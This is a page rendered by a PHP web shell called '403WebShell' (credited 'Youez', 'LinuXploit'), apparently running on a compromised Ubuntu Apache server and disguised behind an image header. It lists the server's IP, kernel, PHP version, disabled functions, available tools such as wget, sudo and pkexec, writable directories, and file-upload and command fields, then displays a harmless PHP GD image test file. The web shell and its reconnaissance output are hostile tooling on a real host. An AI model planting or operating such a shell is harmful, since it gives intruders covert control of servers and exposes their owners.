????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.223.33.204
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/gd/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/gd/tests/bug24594.phpt
--TEST--
Bug #24594 (Filling an area using tiles).
--SKIPIF--
<?php
	if (!extension_loaded('gd')) {
		die("skip gd extension not available\n");
	}
?>
--FILE--
<?php
	$tile = imagecreate(36,36);
	$base = imagecreate(150,150);
	$white = imagecolorallocate($tile,255,255,255);
	$black = imagecolorallocate($tile,0,0,0);
	$white = imagecolorallocate($base,255,255,255);
	$black = imagecolorallocate($base,0,0,0);

	/* create the dots pattern */
	for ($x=0;$x<36;$x+=2) {
		for ($y=0;$y<36;$y+=2) {
			imagesetpixel($tile,$x,$y,$black);
		}
	}

	imagesettile($base,$tile);
	imagerectangle($base, 9,9,139,139,$black);
	imageline($base, 9,9,139,139,$black);
	imagefill($base,11,12,IMG_COLOR_TILED);

	$res = imagecolorat($base,0,10)==$black?'1':'0';
	$res .= imagecolorat($base,0,20)==$black?'1':'0';
	$res .= imagecolorat($base,0,30)==$black?'1':'0';
	$res .= imagecolorat($base,0,40)==$black?'1':'0';
	$res .= imagecolorat($base,0,50)==$black?'1':'0';
	$res .= imagecolorat($base,0,60)==$black?'1':'0';

	$res .= imagecolorat($base,11,12)==$white?'1':'0';
	$res .= imagecolorat($base,12,13)==$white?'1':'0';
	$res .= imagecolorat($base,13,14)==$white?'1':'0';
	$res .= imagecolorat($base,14,15)==$white?'1':'0';
	$res .= imagecolorat($base,15,16)==$white?'1':'0';
	$res .= imagecolorat($base,16,17)==$white?'1':'0';

	$res .= imagecolorat($base,10,12)==$black?'1':'0';
	$res .= imagecolorat($base,11,13)==$black?'1':'0';
	$res .= imagecolorat($base,12,14)==$black?'1':'0';
	$res .= imagecolorat($base,13,15)==$black?'1':'0';
	$res .= imagecolorat($base,14,16)==$black?'1':'0';
	$res .= imagecolorat($base,15,17)==$black?'1':'0';
	echo "$res\n";

	imagefilledrectangle($base,0,0,149,149,$white);
	imagerectangle($base, 9,9,139,139,$black);
	imageline($base, 9,9,139,139,$black);
	imagefill($base,0,0,IMG_COLOR_TILED);

	$res = imagecolorat($base,0,10)==$black?'1':'0';
	$res .= imagecolorat($base,0,20)==$black?'1':'0';
	$res .= imagecolorat($base,0,30)==$black?'1':'0';
	$res .= imagecolorat($base,0,40)==$black?'1':'0';
	$res .= imagecolorat($base,0,50)==$black?'1':'0';
	$res .= imagecolorat($base,0,60)==$black?'1':'0';

	$res .= imagecolorat($base,11,12)==$white?'1':'0';
	$res .= imagecolorat($base,12,13)==$white?'1':'0';
	$res .= imagecolorat($base,13,14)==$white?'1':'0';
	$res .= imagecolorat($base,14,15)==$white?'1':'0';
	$res .= imagecolorat($base,15,16)==$white?'1':'0';
	$res .= imagecolorat($base,16,17)==$white?'1':'0';

	$res .= imagecolorat($base,0,16)==$black?'1':'0';
	$res .= imagecolorat($base,2,42)==$black?'1':'0';
	$res .= imagecolorat($base,4,44)==$black?'1':'0';
	$res .= imagecolorat($base,146,146)==$black?'1':'0';
	$res .= imagecolorat($base,148,146)==$black?'1':'0';
	$res .= imagecolorat($base,0,0)==$black?'1':'0';

	echo "$res\n";
?>
--EXPECT--
000000111111101010
111111111111111111

Youez - 2016 - github.com/yon3zu
LinuXploit